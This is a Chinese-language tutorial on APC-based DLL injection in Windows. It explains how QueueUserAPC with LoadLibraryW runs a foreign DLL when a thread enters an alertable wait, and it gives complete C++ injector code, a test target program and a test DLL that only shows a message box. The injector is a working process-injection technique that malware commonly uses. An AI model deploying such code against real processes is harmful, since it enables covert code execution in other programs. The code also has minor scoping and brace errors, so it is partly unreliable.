dll注入之APC注入

APC注入的原理是利用当线程被唤醒时APC中的注册函数会被执行的机制,并以此去执行我们的DLL加载代码,进而完成DLL注入的目的,其具体流程如下:

1)当EXE里某个线程执行到SleepEx()或者WaitForSingleObjectEx()时,系统就会产生一个软中断(或者是Messagebox弹窗的时候不点OK的时候也能注入)。

2)当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数。

3)利用QueueUserAPC()这个API可以在软中断时向线程的APC队列插入一个函数指针,如果我们插入的是Loadlibrary()执行函数的话,就能达到注入DLL的目的。

程序如下:

// TESTAPC2.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include 
#include
#include
#include
#include
#pragma comment(lib,"shlwapi.lib")
#pragma comment(lib,"ntdll.lib")
using namespace std;
//根据进程名获取PID
DWORD GetPidFormName(wstring wsProcessname)
{
    HANDLE hSnaoshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnaoshot == INVALID_HANDLE_VALUE)
    {
        return false;
    }
    PROCESSENTRY32W pe = { sizeof(pe) };
    BOOL bok;
    for (bok = Process32FirstW(hSnaoshot, &pe); bok; bok = Process32NextW(hSnaoshot,&pe))
    {
        wstring wsNowProcName = pe.szExeFile;
        if (StrStrI(wsNowProcName.c_str(), wsProcessname.c_str()) != NULL)
        {
            CloseHandle(hSnaoshot);
            return pe.th32ProcessID;
        }
    }
    CloseHandle(hSnaoshot);
    return 0;
}
//dll 文件注入到进程wsProcessname
BOOL Injection_APC(const wstring &wsProcessname, const WCHAR wcCacheInDllPath[])
{
    DWORD dwProcessId = GetPidFormName(wsProcessname);
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
    if (!hProcess)
    {
        return FALSE;
    }
    PVOID lpData = VirtualAllocEx(hProcess, NULL, 1024, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    DWORD dwRet;
    if (lpData)
    {
        //在远程进程申请空间写入待注入dll 的路径
        WriteProcessMemory(hProcess, lpData, (LPVOID)wcCacheInDllPath,MAX_PATH, &dwRet);
        CloseHandle(hProcess);
    }
    //开始注入
    THREADENTRY32 te = { sizeof(te) };
    HANDLE handleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);//遍历系统中所有线程
    if (handleSnap == INVALID_HANDLE_VALUE)
    {
        return false;
    }
    bool bstat = false;
    if (Thread32First(handleSnap, &te))
    {
        do {
            if (te.th32OwnerProcessID == dwProcessId)
            {
                HANDLE handleThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
                if (handleThread)
                {
                    DWORD dwRet = QueueUserAPC((PAPCFUNC)LoadLibraryW, handleThread, (ULONG_PTR)lpData);
                }
                if (dwRet > 0)
                {
                    bstat = TRUE;
                }
                CloseHandle(handleThread);
            }
        } while (Thread32Next(handleSnap, &te));
        CloseHandle(handleSnap);
        return bstat;
    }

    }
    int main()
    {
        Injection_APC(L"testapc.exe", L"testapcdll.dll");
        return 0;
    }

测试exe程序:

    #include
    int main()
    {
        MessageBox(NULL, L"start", L"tit", MB_OK);
        SleepEx(1000 * 60 * 5, true);
        MessageBox(NULL, L"end", L"tit", MB_OK);
        Sleep(-1);
    }

测试dll 程序:

#include
#include"dll.h"
BOOL APIENTRY DllMain(HANDLE hModule, DWORD dwReason, void* lpReserved)
{
    switch (dwReason)
    {
        // 动态链接库映射到某个进程的地址空间
    case DLL_PROCESS_ATTACH:
        MessageBox(NULL, L"in apc ok~", L"tit", MB_OK);
        /**
        * 当DLL刚被加载时触发(LoadLibrary),此处专门用来做初始化工作,
        * 如果初始化失败可以返回 false 这样DLL就不会被继续加载了
        **/
        break;

        // 应用程序创建新的线程
    case DLL_THREAD_ATTACH:

        break;

        // 应用程序某个线程正常终止
    case DLL_THREAD_DETACH:

        break;

        // 动态链接库将被卸载
    case DLL_PROCESS_DETACH:
        /**
        * 当DLL将要被卸载时触发(FreeLibrary),此处专门用来做清理工作
        * 如关闭文件,释放内存空间等
        **/
        break;
    }
    return 1;
}
/*
void helloDLL(void)
{
//MessageBox(NULL, TEXT("Hello DLL~"), TEXT("Title"), MB_OK);
}*/

你可能感兴趣的:(dll注入之APC注入)